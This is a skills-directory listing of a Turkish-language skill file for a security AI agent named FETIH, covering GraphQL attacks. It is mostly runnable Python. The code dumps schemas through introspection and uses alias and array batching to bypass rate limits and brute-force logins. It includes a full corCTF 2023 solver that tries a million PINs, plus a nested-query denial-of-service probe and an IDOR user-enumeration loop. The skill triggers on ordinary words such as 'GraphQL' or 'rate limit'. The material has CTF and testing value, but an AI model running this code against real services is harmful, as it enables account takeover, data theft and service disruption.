GraphQL saldırıları — introspection, aliased query batching, rate limit bypass
Scanned 9/8/2026
Install to Claude Code
npx -y skills add MustafaKemal0146/fetih --skill graphql-attacks --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Graphql Attacks?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-graphql-attacks)More formats (shields.io, HTML) on the badges page.
---
name: graphql-attacks
description: GraphQL saldırıları — introspection, aliased query batching, rate limit bypass
tags: [ctf, web, graphql, introspection, batching, rate-limit-bypass, brute-force]
triggers:
- "GraphQL"
- "graphql endpoint"
- "/graphql"
- "query {"
- "mutation {"
- "rate limit"
- "pin brute force"
- "aliased queries"
difficulty: medium
category: web
solved_challenges:
- "corCTF 2023 - force (Fastify+Mercurius, 10000 alias/request ile 10^5 PIN brute)"
adapted_for: fetih
---
# GraphQL Saldırıları
## GraphQL Introspection (Şema Keşfi)
Introspection ile tüm query/mutation/type bilgisini çek. Uygulamalar bunu kapatmayı unutabilir.
```python
import requests
import json
TARGET = "http://<IP>:<PORT>/graphql"
# Standart introspection query
INTROSPECTION_QUERY = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) {
name
isDeprecated
}
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
"""
def introspect(url, headers=None):
"""GraphQL şemasını çek ve yazdır"""
if headers is None:
headers = {"Content-Type": "application/json"}
r = requests.post(url, json={"query": INTROSPECTION_QUERY}, headers=headers)
if r.status_code != 200:
print(f"[!] Introspection başarısız: {r.status_code}")
print(r.text[:300])
return None
data = r.json()
if "errors" in data:
print("[!] Introspection kapalı veya hata:", data["errors"])
return None
schema = data["data"]["__schema"]
print(f"[*] Query tipi: {schema['queryType']}")
print(f"[*] Mutation tipi: {schema['mutationType']}")
print(f"\n[*] Tüm tipler:")
for t in schema["types"]:
if not t["name"].startswith("__"):
print(f" {t['kind']}: {t['name']}")
if t.get("fields"):
for f in t["fields"]:
args = ", ".join(a["name"] for a in f.get("args", []))
print(f" .{f['name']}({args})")
return schema
# Introspection'ı başlat
schema = introspect(TARGET)
```
### Kısmi Introspection (Kapalıysa Field Suggestion)
```python
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Introspection kapalı olsa bile __type ile tek tip sorgulayabilirsin
r = requests.post(TARGET, json={
"query": '{ __type(name: "User") { name fields { name type { name } } } }'
})
print(r.json())
# Field suggestion: yanlış alan adı yaz, GraphQL "Did you mean X?" der
r = requests.post(TARGET, json={
"query": '{ user { passw } }' # "passw" yok ama "password" varsa öneri gelir
})
print(r.text)
```
---
## Aliased Query Batching ile Rate Limit Bypass
GraphQL, tek request'te birden fazla query çalıştırmaya izin verir — alias kullanarak. Rate limit IP başına request sayısını sayıyorsa, 10000 alias = 10000 deneme = 1 request.
### Temel Batching
```python
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Tek request'te birden fazla query (array batching)
batch_query = [
{"query": 'query { user(id: 1) { name } }'},
{"query": 'query { user(id: 2) { name } }'},
{"query": 'mutation { login(username:"admin", password:"pass1") { token } }'},
]
r = requests.post(TARGET, json=batch_query)
print(r.json())
```
### Alias Batching
```python
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Alias ile aynı mutation'ı farklı argümanlarla çalıştır
# Rate limit 1 request = 1 deneme sayıyorsa, her alias ayrı denemedir
passwords = ["password", "admin", "123456", "letmein", "qwerty"]
aliases = "\n".join([
f' attempt_{i}: login(username: "admin", password: "{pwd}") {{ token success }}'
for i, pwd in enumerate(passwords)
])
query = f"mutation {{\n{aliases}\n}}"
print("Query:")
print(query)
r = requests.post(TARGET, json={"query": query})
data = r.json()
for i, pwd in enumerate(passwords):
result = data["data"].get(f"attempt_{i}", {})
if result.get("success") or result.get("token"):
print(f"[!] BULUNDU: password={pwd}, token={result.get('token')}")
```
---
## corCTF 2023 — force Tam Python Kodu
**Senaryo:** Fastify + Mercurius GraphQL sunucusu. 6 haneli PIN (10^6 olasılık). Rate limit request bazlı. Tek request'e 10000 alias sığdırılıyor → 100 request ile tüm uzay taranıyor.
```python
#!/usr/bin/env python3
"""
corCTF 2023 - force
GraphQL aliased batching ile 10^6 PIN brute force
100 request x 10000 alias = 1.000.000 deneme
"""
import requests
import json
TARGET = "http://<HEDEF_IP>:<PORT>/graphql"
USERNAME = "admin"
ALIASES_PER_REQUEST = 10000
SESSION = requests.Session()
# SESSION.proxies = {"http": "http://127.0.0.1:8080"}
def build_pin_query(pin_start, count):
"""pin_start'tan itibaren 'count' adet PIN'i tek sorguda dene"""
aliases = []
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
# PIN 6 hane, leading zero ile
pin_str = f"{pin:06d}"
alias = f" p{pin_str}: login(username: \"{USERNAME}\", pin: \"{pin_str}\") {{ success token flag }}"
aliases.append(alias)
query = "mutation {\n" + "\n".join(aliases) + "\n}"
return query
def check_response(data, pin_start, count):
"""Response'da başarılı giriş ara"""
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
pin_str = f"{pin:06d}"
result = data.get(f"p{pin_str}", {})
if result and (result.get("success") or result.get("token") or result.get("flag")):
return pin_str, result
return None, None
def main():
print(f"[*] Hedef: {TARGET}")
print(f"[*] Toplam deneme: 1.000.000 PIN")
print(f"[*] Request başına alias: {ALIASES_PER_REQUEST}")
print(f"[*] Toplam request: {1000000 // ALIASES_PER_REQUEST}")
print()
for batch_num in range(1000000 // ALIASES_PER_REQUEST):
pin_start = batch_num * ALIASES_PER_REQUEST
query = build_pin_query(pin_start, ALIASES_PER_REQUEST)
print(f"[*] Batch {batch_num + 1}: PIN {pin_start:06d} - {pin_start + ALIASES_PER_REQUEST - 1:06d}", end=" ... ")
try:
r = SESSION.post(
TARGET,
json={"query": query},
headers={"Content-Type": "application/json"},
timeout=30
)
if r.status_code != 200:
print(f"HATA: {r.status_code}")
continue
data = r.json().get("data", {})
found_pin, result = check_response(data, pin_start, ALIASES_PER_REQUEST)
if found_pin:
print(f"\n[!!!] PIN BULUNDU: {found_pin}")
print(f" Sonuç: {json.dumps(result, indent=2)}")
return
print("OK")
except requests.exceptions.Timeout:
print("TIMEOUT — tekrar deniyor...")
# Aynı batch'i tekrar dene
batch_num -= 1
continue
except Exception as e:
print(f"HATA: {e}")
print("[*] Tüm PIN'ler denendi, bulunamadı.")
if __name__ == "__main__":
main()
```
### Mercurius Özel: Array Batch + Alias Kombinasyonu
```python
# Mercurius hem array batch hem alias destekler
# Bunları birleştirince çarpım etkisi:
# 10 array batch x 1000 alias = 10000 deneme / request
import requests
TARGET = "http://<IP>:<PORT>/graphql"
def mega_batch(pin_start, aliases_per=1000, arrays=10):
batch = []
for arr_idx in range(arrays):
start = pin_start + arr_idx * aliases_per
aliases = "\n".join([
f' p{(start+i):06d}: login(pin: "{(start+i):06d}") {{ success flag }}'
for i in range(aliases_per)
if start + i <= 999999
])
batch.append({"query": f"mutation {{\n{aliases}\n}}"})
return batch
r = requests.post(TARGET, json=mega_batch(0))
print(r.status_code, r.text[:200])
```
---
## Diğer GraphQL Saldırıları
### Depth Limit Bypass (DoS)
```python
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Nested query ile DoS (depth limit yoksa)
nested = "user { friends { friends { friends { friends { name } } } } }"
r = requests.post(TARGET, json={"query": f"{{ {nested} }}"})
print(r.status_code)
```
### Field Suggestion ile Keşif
```python
# "Did you mean X?" mesajlarını kullan
import requests
TARGET = "http://<IP>:<PORT>/graphql"
fields_to_probe = ["pass", "passwd", "pwd", "secret", "flag", "key", "token", "auth"]
for field in fields_to_probe:
r = requests.post(TARGET, json={"query": f'{{ user {{ {field} }} }}'})
if "Did you mean" in r.text or "suggestion" in r.text.lower():
print(f"[*] '{field}' için öneri:", r.json())
```
### IDOR via GraphQL
```python
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Kendi token'ın ile başka kullanıcıların datasına eriş
headers = {"Authorization": "Bearer <senin_tokenin>"}
for user_id in range(1, 100):
r = requests.post(
TARGET,
json={"query": f'{{ user(id: {user_id}) {{ id username email flag }} }}'},
headers=headers
)
data = r.json().get("data", {}).get("user", {})
if data and data.get("flag"):
print(f"[!] Flag bulundu user_id={user_id}: {data['flag']}")
elif data:
print(f" user_id={user_id}: {data}")
```
---
## Araçlar
### graphql-map (Otomatik Introspection + Query Build)
```bash
# Kurulum
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip3 install -r requirements.txt
# Kullanım
python3 graphqlmap.py -u http://<IP>/graphql --method POST
```
### clairvoyance (Introspection Kapalıyken Şema Tahmin)
```bash
# Kurulum
pip3 install clairvoyance
# Kullanım (introspection kapalı endpoint için field tahmin)
clairvoyance http://<IP>/graphql -o schema.json
# Wordlist ile
clairvoyance http://<IP>/graphql -o schema.json -w /usr/share/wordlists/rockyou.txt
```
### Burp Suite ile Manuel Keşif
```
1. Burp'ta /graphql endpoint'ini bul
2. Sağ tık → Send to Repeater
3. Content-Type: application/json yap
4. Body: {"query": "{ __typename }"} — sunucu graphql mi?
5. InQL Burp extension ile introspection otomatik yap
```
---
## Tuzaklar
- **Introspection kapalı:** Field suggestion hâlâ çalışabilir. `clairvoyance` veya elle probe et.
- **10000 alias memory sınırı:** Mercurius/Apollo'da alias limiti olabilir. 429 veya 400 dönüyorsa sayıyı azalt (örn. 1000).
- **Rate limit IP değil token bazlı:** Alias batching işe yaramaz. Farklı token oluşturma / hesap oluşturma bak.
- **Mutation batching kapalı:** Query batching açık olabilir. Sadece okuma operasyonları ile farklı bir yol ara.
- **POST yerine GET:** Bazı GraphQL endpoint'leri GET de destekler: `/graphql?query={user{name}}`
- **CSRF + GraphQL:** Content-Type kontrolü yoksa CSRF ile mutation tetiklenebilir.
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 7ed940ecbf1de662
-->
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!